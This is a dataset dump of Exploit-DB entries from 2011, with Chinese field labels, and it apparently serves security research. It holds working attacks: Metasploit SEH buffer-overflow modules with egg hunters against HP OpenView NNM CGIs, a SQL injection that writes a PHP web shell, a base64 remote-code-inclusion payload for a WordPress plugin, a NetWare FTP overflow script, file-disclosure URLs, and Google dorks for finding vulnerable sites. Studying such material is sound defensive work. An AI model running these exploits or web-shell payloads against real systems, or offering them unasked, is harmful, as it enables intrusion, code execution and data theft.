QLWD/code_shield huggingface dataset:
标题: PHPBoost 3.0 - Remote Download Backup EDB-ID: 17085 CVE: 2011-1665 类型: WEBAPPS 平台: PHP 发布日期: 2011-03-31 漏洞利用脚本: ###
# Title : PHPBoost 3.0 Remote Download Backup Vulnerability
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Twitter page : twitter.com/kedans
# platform : php
# Impact : Download Backup Database (*.sql) File
# Tested on : Windows XP sp3 FR
###
# Note : BAC 2011 Enchallah ( Me & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )
##
# [»] ~ special thanks to : Dr.Ride 
##
# Go0gle Dorks :  
# 1> "Powered by PHPBoost 3.0"  
# 2> "Boosté par PHPBoost 3.0"
####

# Demo:

http://[localhost]/[path]/cache/backup/backup_phpboost_11-03-29-17-35-34.sql

# Exploit :

http://[localhost]/[path]/cache/backup/backup_[sitname]_*Y*M*D*H*Mn*S*.sql

%{
Y = year
M = month
D = day
Mn = minute 
S = second 
}%

# Download The Backup .SQL File ** The Access Not Forbidden ** 

# The Clouting : Creating .htaccess File and Writ in him : ' deny from all ' * Save as ../../backup/

=================================================================================================
#================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================  
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >
# Islampard * Zaki.Eng * Dr.Ride * Red1One * Badr0 * XoreR * Nor0 FouinY * Hani * Mr.Dak007 * Fox-Dz
# Masimovic * TOnyXED * cr4wl3r (Inj3ct0r.com) * TeX (hotturks.org) * KelvinX (kelvinx.net) * Dos-Dz
# Nayla Festa * all (sec4ever.com) Members * PLATEN (Pentesters.ir) * Gamoscu (www.1923turk.com)
# Greets to All ALGERIANS EXPLO!TER's & DEVELOPER's :=> {{
# Indoushka (Inj3ct0r.com) * [ Ma3sTr0-Dz * MadjiX * BrOx-Dz * JaGo-Dz (sec4ever.com) ] * Dr.0rYX 
# Cr3w-DZ * His0k4 * El-Kahina * Dz-Girl * SuNHouSe2 ; All Others && All My Friends . }} ,
# www.packetstormsecurity.org * exploit-db.com * bugsearch.net * 1337day.com * exploit-id.com 
# www.metasploit.com * www.securityreason.com * All Security and Exploits Webs ...
#================================================================================================ URL: https://www.exploit-db.com/exploits/17085
标题: Andy's PHP KnowledgeBase 0.95.4 - SQL Injection EDB-ID: 17061 CVE: 2011-1556 类型: WEBAPPS 平台: PHP 发布日期: 2011-03-29 漏洞利用脚本: ------------------------------------------------------------------------
Software................Andy's PHP Knowledgebase Project 0.95.4
Vulnerability...........SQL Injection
Threat Level............Critical (4/5)
Download................http://www.aphpkb.org/
Discovery Date..........3/27/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A SQL injection vulnerability can be used to extract arbitrary data.
In some environments it may be possible to create a PHP shell.


--PoC--

localhost/aphpkb/plugins/pdfClasses/pdfgen.php?pdfa='and%201=0%20UNION%20SELECT%20'<?php%20system($_GET["CMD"]);%20?>',''%20FROM%20dual%20INTO%20OUTFILE%20'../../htdocs/shell.php';%23 URL: https://www.exploit-db.com/exploits/17061
标题: WordPress Plugin BackWPup - Remote Code Execution / Local Code Execution EDB-ID: 17056 CVE: 2011-4342 类型: WEBAPPS 平台: PHP 发布日期: 2011-03-28 漏洞利用脚本: Sense of Security - Security Advisory - SOS-11-003

Release Date.                  28-Mar-2011
Last Update.                   -
Vendor Notification Date.      25-Mar-2010
Product.                       Wordpress Plugin BackWPup
Platform.                      Independent
Affected versions.             1.6.1 (verified), possibly others
Severity Rating.               High
Impact.                        System Access
Attack Vector.                 Remote without authentication
Solution Status.               Upgrade to version 1.7.1
CVE reference.                 Not yet assigned

Details.
A vulnerability has been discovered in the Wordpress plugin BackWPup 
1.6.1 which can be exploited to execute local or remote code on the web 
server. The Input passed to the component "wp_xml_export.php" via the 
"wpabs" variable allows the inclusion and execution of local or remote 
PHP files as long as a "_nonce" value is known. The "_nonce" value 
relies on a static constant which is not defined in the script meaning 
that it defaults to the value "822728c8d9".

Proof of Concept.
wp_xml_export.php?_nonce=822728c8d9&wpabs=data://text/plain;base64,PGZ
vcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8%2bIiBtZX           
Rob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4Ij48aW5wdXQgdHlwZT0   
ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0%2bPHByZT48PyAKZWNobyBgeyRfUE9TVF
sneCddfWA7ID8%2bPC9wcmU%2bPD8gZGllKCk7ID8%2bCgo%3d

Solution.
Upgrade to version 1.7.1

Discovered by.
Phil Taylor - Sense of Security Labs.

Sense of Security Pty Ltd
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA
T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-11-003.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php URL: https://www.exploit-db.com/exploits/17056
标题: HP OpenView Network Node Manager (OV NNM) - 'getnnmdata.exe' (MaxAge) CGI Buffer Overflow (Metasploit) EDB-ID: 17042 CVE: 2010-1553 类型: REMOTE 平台: WINDOWS 发布日期: 2011-03-24 漏洞利用脚本: ##
# $Id: hp_nnm_getnnmdata_maxage.rb 12121 2011-03-24 00:49:33Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/getnnmdata.exe', :pattern => /Hewlett-Packard Development Company/ }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP OpenView Network Node Manager getnnmdata.exe (MaxAge) CGI Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53.
    By sending specially crafted MaxAge parameter to the getnnmdata.exe CGI,
    an attacker may be able to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 12121 $',
   'References'     =>
    [
     [ 'CVE', '2010-1553' ],
     [ 'OSVDB', '64976' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "\x00",
     'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
     'DisableNops' => 'True',
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
     'EncoderOptions' =>
      {
       'BufferRegister' => 'ECX',
      },
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'HP OpenView Network Node Manager 7.50', { 'Offset' => 7591, 'Ret' => 0x5a01f277 } ],
     [ 'HP OpenView Network Node Manager 7.53', { 'Offset' => 2054, 'Ret' => 0x5a666d69 } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'May 11 2010'))

  register_options( [ Opt::RPORT(80) ], self.class )
 end

 def exploit

  egg = rand_text_alpha_upper(4)

  hunter =  "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
  hunter << "\xef\xb8" + egg + "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

  boom =  rand_text_alpha_upper(target['Offset'])
  boom << generate_seh_record(target.ret)
  boom << hunter + egg + egg
  boom << payload.encoded
  boom << rand_text_alpha_upper(9024 - payload.encoded.length)
 
  sploit =  "SnmpVals=&MaxAge=#{boom}"

  print_status("Trying target #{target.name}...")

  send_request_cgi({
   'uri'  => '/OvCgi/getnnmdata.exe',
   'method' => 'POST',
   'data'  => sploit
   }, 8)

  handler
 
 end

end URL: https://www.exploit-db.com/exploits/17042
标题: HP OpenView Network Node Manager (OV NNM) - 'getnnmdata.exe Hostname' CGI Buffer Overflow (Metasploit) EDB-ID: 17047 CVE: 2010-1555 类型: REMOTE 平台: WINDOWS 发布日期: 2011-03-25 漏洞利用脚本: ##
# $Id: hp_nnm_getnnmdata_hostname.rb 12131 2011-03-25 00:46:59Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/getnnmdata.exe', :pattern => /Hewlett-Packard Development Company/ }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP OpenView Network Node Manager getnnmdata.exe (Hostname) CGI Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53.
    By sending specially crafted Hostname parameter to the getnnmdata.exe CGI,
    an attacker may be able to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 12131 $',
   'References'     =>
    [
     [ 'CVE', '2010-1555' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "\x00",
     'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
     'DisableNops' => 'True',
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
     'EncoderOptions' =>
      {
       'BufferRegister' => 'ECX',
      },
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'HP OpenView Network Node Manager 7.50', { 'Offset' => 65640, 'Ret' => 0x5a01f277 } ], 
     [ 'HP OpenView Network Node Manager 7.53', { 'Offset' => 65640, 'Ret' => 0x5a666d69 } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'May 11 2010'))

  register_options( [ Opt::RPORT(80) ], self.class )
 end

 def exploit

  egg = rand_text_alpha_upper(4)

  hunter =  "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
  hunter << "\xef\xb8" + egg + "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

  boom =  rand_text_alpha_upper(target['Offset'])
  boom << generate_seh_record(target.ret)
  boom << hunter + egg + egg
  boom << payload.encoded
  boom << rand_text_alpha_upper(90024 - payload.encoded.length)
  
  sploit = "SnmpVals=&Hostname=#{boom}"

  print_status("Trying target #{target.name}...")

  send_request_cgi({
   'uri'  => '/OvCgi/getnnmdata.exe',
   'method' => 'POST',
   'data'  => sploit
   }, 8)
  
  handler

 end

end URL: https://www.exploit-db.com/exploits/17047
标题: HP OpenView Network Node Manager (OV NNM) - 'getnnmdata.exe ICount' CGI Buffer Overflow (Metasploit) EDB-ID: 17040 CVE: 2010-1554 类型: REMOTE 平台: WINDOWS 发布日期: 2011-03-24 漏洞利用脚本: ##
# $Id: hp_nnm_getnnmdata_icount.rb 12121 2011-03-24 00:49:33Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/getnnmdata.exe', :pattern => /Hewlett-Packard Development Company/ }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP OpenView Network Node Manager getnnmdata.exe (ICount) CGI Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53.
    By sending specially crafted ICount parameter to the getnnmdata.exe CGI,
    an attacker may be able to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 12121 $',
   'References'     =>
    [
     [ 'CVE', '2010-1554' ],
     [ 'OSVDB', '64976' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "\x00",
     'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
     'DisableNops' => 'True',
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
     'EncoderOptions' =>
      {
       'BufferRegister' => 'ECX',
      },
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'HP OpenView Network Node Manager 7.50', { 'Offset' => 7582, 'Ret' => 0x5a01f277 } ], 
     [ 'HP OpenView Network Node Manager 7.53', { 'Offset' => 2052, 'Ret' => 0x5a666d69 } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'May 11 2010'))

  register_options( [ Opt::RPORT(80) ], self.class )
 end

 def exploit

  egg = rand_text_alpha_upper(4)

  hunter =  "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
  hunter << "\xef\xb8" + egg + "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

  boom =  rand_text_alpha_upper(target['Offset'])
  boom << generate_seh_record(target.ret)
  boom << hunter + egg + egg
  boom << payload.encoded
  boom << rand_text_alpha_upper(9024 - payload.encoded.length)
  
  sploit =  "SnmpVals=&ICount=-9#{boom}"

  print_status("Trying target #{target.name}...")

  send_request_cgi({
   'uri'  => '/OvCgi/getnnmdata.exe',
   'method' => 'POST',
   'data'  => sploit
   }, 8)

  handler

 end

end URL: https://www.exploit-db.com/exploits/17040
标题: HP Network Node Manager (NMM) - CGI 'webappmon.exe execvp' Remote Buffer Overflow (Metasploit) EDB-ID: 17030 CVE: 2010-2703 类型: REMOTE 平台: WINDOWS 发布日期: 2011-03-23 漏洞利用脚本: ##
# $Id: hp_nnm_webappmon_execvp.rb 12086 2011-03-23 03:38:46Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Seh

 def initialize(info={})
  super(update_info(info,
   'Name'        => "HP NNM CGI webappmon.exe execvp Buffer Overflow",
   'Description' => %q{
    This module exploits a buffer overflow in HP NNM's webappmon.exe.
    The vulnerability occurs when function "execvp_nc" fails to do any bounds-
    checking before strcat is used to append user-supplied input to a buffer.
   },
   'License'   => MSF_LICENSE,
   'Version'   => "$Revision: 12086 $",
   'Author'      =>
    [
     'shahin <shahin[at]abysssec.com>',
     'sinn3r',
    ],
   'References' =>
    [
     ['CVE', '2010-2703'],
     ['OSVDB', '66514'],
    ],
   'Payload'  =>
    {
     'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0a..0x0f)].pack("C*") + [*(0x10..0x1f)].pack("C*") + "\x7f",
     'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
     'EncoderOptions' => {'BufferRegister'=>'ECX'},
    },
   'DefaultOptions' =>
    {
     'ExitFunction' => "seh",
     'AutoRunScript' => 'migrate -f',
    },
   'Platform' => 'win',
   'Targets'  =>
    [
     [ 'Windows Server 2003 Ent', {'Ret'=>0x5A30532D} ],
    ],
   'DisclosureDate' => "SEP 6 2010"))

   register_options(
    [
     Opt::RPORT(80),
    ], self.class)
 end

 def exploit
  nops = make_nops(1000)*10

  sploit = nops[0, 5455]
  sploit << generate_seh_record(target.ret)
  sploit << "\x61"*13
  sploit << "\x51"
  sploit << "\xc3"
  sploit << nops[0, 57]
  sploit << payload.encoded
  sploit << nops[0, 10000-sploit.length]

  post_data = "ins=#{sploit}&sel=#{sploit}&app=#{sploit}&act=#{sploit}&arg=#{sploit}&help=#{sploit}&cache=1600 HTTP/1.1"

  connect

  print_status("Sending malicious request...")
  send_request_raw({
   'uri' => '/OvCgi/webappmon.exe',
   'data' => post_data,
   'version' => '1.1',
   'method' => 'POST',
   'headers' => {
    'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language' => 'en-us,en;q=0.5',
    'Accept-Encoding' => 'gzip,deflate',
    'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
    'Keep-Alive' => '300',
    'Connection' => 'Keep-Alive',
    'Cache-Control' => 'max-age=0',
    'Content-Length' => post_data.length,
    'Content-Type' => 'application/x-www-form-urlencoded',
   }
  }, 3)

  handler
  disconnect

 end
end URL: https://www.exploit-db.com/exploits/17030
标题: HP OpenView Network Node Manager (OV NNM) - nnmRptConfig nameParams Buffer Overflow (Metasploit) EDB-ID: 17028 CVE: 2011-0266 类型: REMOTE 平台: WINDOWS 发布日期: 2011-03-23 漏洞利用脚本: ##
# $Id: hp_nnm_nnmrptconfig_nameparams.rb 12085 2011-03-23 03:37:18Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Seh

 def initialize(info={})
  super(update_info(info,
   'Name'        => "HP OpenView NNM nnmRptConfig nameParams Buffer Overflow",
   'Description' => %q{
    This module exploits a vulnerability in HP NNM's nnmRptConfig.exe.
    A remote user can send a long string data to the nameParams parameter via
    a POST request, which causes an overflow on the stack when function
    ov.sprintf_new() is used, and gain arbitrary code execution.'
   },
   'License'   => MSF_LICENSE,
   'Version'   => "$Revision: 12085 $",
   'Author'      =>
    [
     'sinn3r',
    ],
   'References' =>
    [
     ['CVE', '2011-0266'],
     ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-008/']
    ],
   'Payload'  =>
    {
     'BadChars' => "\x00\x26\x2b",
    },
   'DefaultOptions' =>
    {
     'ExitFunction' => "seh",
     'AutoRunScript' => 'migrate -f',
    },
   'Platform' => 'win',
   'Targets'  =>
    [
     ['Windows Server 2003 Enterprise', {'Ret'=>0x5A30532D, 'offset'=>46913, 'Pops'=>13, 'Payloadoffset'=>57} ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "JAN 10 2011"))

   register_options(
    [
     Opt::RPORT(80),
    ], self.class)
 end

 def exploit

  nops = make_nops(1000)*70

  sploit  = nops[0, target['offset']]
  sploit << generate_seh_record(target.ret)
  sploit << "\x61"*target['Pops']
  sploit << "\x51"
  sploit << "\xc3"
  sploit << nops[0, target['Payloadoffset']]
  sploit << payload.encoded
  sploit << nops[0, 70000-sploit.length]

  data  = "Content&Action=Create&"
  data << "Template=Avail/CRAvail&"
  data << "Operation=Apply&"
  data << "Params=schdParams+nameParams"
  data << "&schdParams=schd_select1%3Ddaily%7Cmonthtodate&"
  data << "nameParams=text1%3D#{sploit}%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"

  connect
  send_request_raw({
   'uri' => '/OvCgi/nnmRptConfig.exe',
   'data' => data,
   'version' => '1.1',
   'method' => 'POST',
   'headers' => {
    'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language' => 'en-us,en;q=0.5',
    'Accept-Encoding' => 'gzip,deflate',
    'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
    'Keep-Alive' => '300',
    'Connection' => 'Keep-Alive',
    'Cache-Control' => 'max-age=0',
    'Content-Length' => data.length,
    'Content-Type' => 'application/x-www-form-urlencoded',
   }
  }, 3)

  handler
  disconnect

 end
end URL: https://www.exploit-db.com/exploits/17028
标题: Novell Netware - NWFTPD.NLM DELE Remote Code Execution EDB-ID: 17020 CVE: 2010-4228 类型: DOS 平台: NETWARE 发布日期: 2011-03-21 漏洞利用脚本: #!/usr/bin/python
 
import socket, sys

# Source:
# http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25
 
host = (sys.argv[1])
data = "\x44\x45\x4c\x45\x20\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x43\x43\x43\x43\x43\x43\x43\x43\x43\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x45\x45\x45\x45\x45\x45\x46\x46\x46\x46\x47\x47\x47\x47\x48\x48\x44\x43\x42\x41\x0d\x0a"


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
 s.connect((host, 21))
 d=s.recv(1024)
 print (d)
 s.send("USER toto\r\n") #anonymous login so anything goes
 d=s.recv(1024)
 print (d)
 s.send("PASS toto\r\n")
 d=s.recv(1024)
 print (d)
 s.send(data)
 d=s.recv(1024)
 print (d)
 s.close()
 
 try:
  s.connect((host,21))
 except:
  print ("\r\n[i] Beep Beep, take a look to your Abend log file.")
except:
 print ("[i] Error") URL: https://www.exploit-db.com/exploits/17020
标题: Douran 3.9.7.8 - File Download/Source Code Disclosure EDB-ID: 17011 CVE: 2011-1569 类型: WEBAPPS 平台: ASP 发布日期: 2011-03-20 漏洞利用脚本: # Title: [Douran Portal File Download/Source Code Disclosure Vulnerability]
# Date of Publishing: [16 March 2010]
# Application Name: [Douran Portal]
# Version: [3.9.7.8]
# Impact: [Medium]
# Vendor: www.douran.com
# Link: http://douran.com/HomePage.aspx?TabID=4862
# Vendor Response(s): They didn't respond to the emails.
# Credit to: AJAX Security Team
# Finder(s):
 - HUrr!c4nE! (bl4ck.k3yv4n [at] yahoo [dot] com) (ajaxtm.com)
 - Soroush Dalili (Irsdl [at] yahoo [dot] com) (secproject.com)

# Description:
Regarding attack technique [1], it is possible to bypass the security protections of /download.aspx in Douran Portal and download the hosted files.

# PoC(s): 
Try this first and see the access denied error: http://[HOST]/download.aspx?FilePathAttach=/&FileNameAttach=web.config&OriginalAttachFileName=secretfile.txt
Now try these to bypass it:
http://[HOST]/download.aspx?FilePathAttach=/&FileNameAttach=web.config\.&OriginalAttachFileName=secretfile.txt
http://[HOST]/download.aspx?FilePathAttach=/&FileNameAttach=web.config%20&OriginalAttachFileName=secretfile.txt
http://[HOST]/download.aspx?FilePathAttach=/&FileNameAttach=wEB.CoNfiG&OriginalAttachFileName=secretfile.txt

# Reference:
[1] Unrestricted File Download V1.0  Windows Server, (URL: http://soroush.secproject.com/blog/2011/01/unrestricted_file_download_v1_0/)

# Important Notes:
- Vendor did not respond to the email as well as the phone. As there is not any contact form or email address in the website, we have used all the emails which had been found by searching in Google such as support, info, and so on. URL: https://www.exploit-db.com/exploits/17011